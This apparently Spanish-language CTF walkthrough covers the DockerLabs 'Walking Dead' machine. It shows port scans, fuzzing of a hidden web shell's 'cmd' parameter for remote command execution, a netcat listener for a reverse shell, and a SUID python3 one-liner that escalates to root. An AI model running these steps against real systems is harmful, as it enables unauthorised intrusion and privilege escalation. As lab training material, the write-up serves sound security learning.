> For the complete documentation index, see [llms.txt](https://lta.gitbook.io/home/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lta.gitbook.io/home/ctfs/dockerlabs/walking-dead.md).

# Walking Dead

<figure><img src="https://560461403-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F3VDgGPijfQh1EKqSN0GB%2Fuploads%2F1dt2r9AMbI3SbffjxZHj%2FPasted%20image%2020251101151304.png?alt=media&amp;token=7e3c9667-a582-4ac0-bdee-84b688fb1a94" alt=""><figcaption></figcaption></figure>

### Setup

Iniciamos corriendo la máquina previamente habiendo dado permisos de ejecución al archivo `auto_deploy.sh`.

```sh
chmod +x ./auto_deploy.sh
```

Posteriormente, esperamos que se levante la máquina para luego escucharlo en la interfaz de red `172.17.0.2` de **Docker**.

<figure><img src="https://560461403-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F3VDgGPijfQh1EKqSN0GB%2Fuploads%2Fz5Hi7fOxQMc7IZoq3t0e%2FPasted%20image%2020251101152105.png?alt=media&amp;token=a05f3a31-0a77-4ab7-a3f0-5a91b3804f3c" alt=""><figcaption></figcaption></figure>

***

### Reconocimiento de puertos

{% stepper %}
{% step %}

### Escaneo inicial (puertos)

Realizamos un escaneo sencillo para averiguar solamente los puertos:

```sh
nmap -p- -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oX simple_report.xml
```

Resultado: puertos TCP abiertos 22, 80.

<figure><img src="https://560461403-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F3VDgGPijfQh1EKqSN0GB%2Fuploads%2FK5qwI55BhOnwuP9Ow6KX%2FPasted%20image%2020251101152727.png?alt=media&amp;token=af71a6d2-77fd-42a2-813f-4fe7b106e4f8" alt=""><figcaption></figcaption></figure>
{% endstep %}

{% step %}

### Escaneo detallado (versiones y scripts)

Escaneo más complejo para obtener versiones y detección de servicios:

```sh
nmap -p22,80 -sCV -oX extended_scan.xml 172.17.0.2
```

Resultado: versiones detectadas para HTTP y SSH, que nos permitirán enfocar el reconocimiento web y conexiones remotas.<br>

<figure><img src="https://560461403-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F3VDgGPijfQh1EKqSN0GB%2Fuploads%2FHwp0apFEQlHQDTYFytgC%2FPasted%20image%2020251101153249.png?alt=media&amp;token=a2f06905-66a5-4c0a-9432-e145f29e24c9" alt=""><figcaption></figcaption></figure>
{% endstep %}
{% endstepper %}

***

### Reconocimiento de la Web

Previamente a entrar, hacemos un reconocimiento con `whatweb`:

```ruby
whatweb 172.17.0.2                   
http://172.17.0.2 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[172.17.0.2], Title[The Walking Dead - CTF]
```

Accedemos a la web en `:80`, vemos una página de bienvenida (tema Halloween) y procedemos a inspeccionar el código fuente.

<figure><img src="https://560461403-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F3VDgGPijfQh1EKqSN0GB%2Fuploads%2F2nlr7LvpCIItDg2QXJEx%2FPasted%20image%2020251101153458.png?alt=media&amp;token=674dc6ae-86b3-4a29-8651-86fe86478d4a" alt=""><figcaption></figcaption></figure>

También se puede usar Wappalyzer para más contexto (por ejemplo detectar PHP).<br>

<figure><img src="https://560461403-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F3VDgGPijfQh1EKqSN0GB%2Fuploads%2FFiyK3FQYsiRTyVU5xzBR%2FPasted%20image%2020251101155346.png?alt=media&amp;token=cb425272-89f9-4fa6-b423-cf46377cb686" alt="" width="244"><figcaption></figcaption></figure>

En el código fuente hay enlaces: uno al `.mp3` que reproduce fondo y otro que apunta a un sitio oculto.<br>

<figure><img src="https://560461403-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F3VDgGPijfQh1EKqSN0GB%2Fuploads%2Fkj4IyUVfudTMpkkZV0qx%2FPasted%20image%2020251101153638.png?alt=media&amp;token=a85c3a30-6204-4900-86e6-2964a45f00be" alt=""><figcaption></figcaption></figure>

#### /hidden/.shell.php

Al acceder a la ruta encontramos una página vacía (posible punto de entrada).<br>

<figure><img src="https://560461403-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F3VDgGPijfQh1EKqSN0GB%2Fuploads%2FZkOu0BgZRx3sZW2VRq79%2FPasted%20image%2020251101153851.png?alt=media&amp;token=3f4f98dc-692a-4e58-9636-56dea60940c7" alt=""><figcaption></figcaption></figure>

#### Escaneo con `wfuzz`

Probamos qué parámetros acepta `.shell.php` usando wfuzz:

```sh
wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt -u 'http://172.17.0.2/hidden/.shell.php?FUZZ=whoami' --hc 404 --hl 0 -t 30
```

Resultado: la página responde con una variable `cmd` que permite ejecutar comandos (vía RCE).<br>

<figure><img src="https://560461403-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F3VDgGPijfQh1EKqSN0GB%2Fuploads%2FD4WlpePKmViMhSkzWhxk%2FPasted%20image%2020251101155745.png?alt=media&amp;token=71dd3112-eb27-4d07-953b-888985b6fa3b" alt=""><figcaption></figcaption></figure>

***

### RCE

{% hint style="info" %}
RCE = Remote Command Execution (Ejecución remota de comandos)
{% endhint %}

Con la entrada para ejecutar comandos, listamos usuarios:

<figure><img src="https://560461403-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F3VDgGPijfQh1EKqSN0GB%2Fuploads%2Ff6uVbLe3yCAa8aVAHDh8%2FPasted%20image%2020251101161823.png?alt=media&amp;token=b94ded1d-7a77-4d8e-9644-86984543d994" alt=""><figcaption></figcaption></figure>

Se detectan usuarios `negan` y `rick`. Procedemos a obtener una reverse shell hacia el host atacante.

{% stepper %}
{% step %}

### Preparar escucha

Ponemos a la escucha una conexión entrante en la máquina atacante.

Usando netcat:

```sh
nc -lvnp 4444
```

Usando Penelope:

```sh
penelope.py
```

{% endstep %}

{% step %}

### Lanzar reverse shell

Ejecutamos la reverse shell desde la web/vía RCE y, al conectarse, obtenemos la shell en nuestro host.<br>

<figure><img src="https://560461403-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F3VDgGPijfQh1EKqSN0GB%2Fuploads%2F0TV1mcloNq0SKHJiAyOB%2FPasted%20image%2020251101164643.png?alt=media&amp;token=ce0476a9-ff84-47dc-bb40-d1e90c22e566" alt=""><figcaption></figcaption></figure>

Tras entrar, realizamos el tratamiento de la TTY (mejorar la terminal):

{% embed url="<https://lta.gitbook.io/home/notas/tratamiento-de-la-tty>" %}
{% endstep %}
{% endstepper %}

***

#### Búsqueda de binarios SUID

Dentro del sistema, buscamos binarios con el bit SUID para escalar privilegios:

```sh
find / -perm -4000 -type f 2>/dev/null
```

Se detecta `python3.8` como SUID (interesante para escalada).

<figure><img src="https://560461403-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F3VDgGPijfQh1EKqSN0GB%2Fuploads%2Fxs3iXHuEnAHrQoNp5R6R%2FPasted%20image%2020251101172430.png?alt=media&amp;token=c46a407f-acf7-4edf-a4fa-45f7b68a0fa7" alt=""><figcaption></figcaption></figure>

Usamos el siguiente payload para obtener shell con privilegios de root:

```sh
python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'
```

{% embed url="<https://gtfobins.github.io/gtfobins/python/#suid>" %}

Resultado: acceso a root obtenido.

<figure><img src="https://560461403-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F3VDgGPijfQh1EKqSN0GB%2Fuploads%2Fq5funkqgNZBTuWkabYwc%2FPasted%20image%2020251101172627.png?alt=media&amp;token=64964bc0-5bc2-4fff-ab2b-ab703d5adfd5" alt=""><figcaption></figcaption></figure>
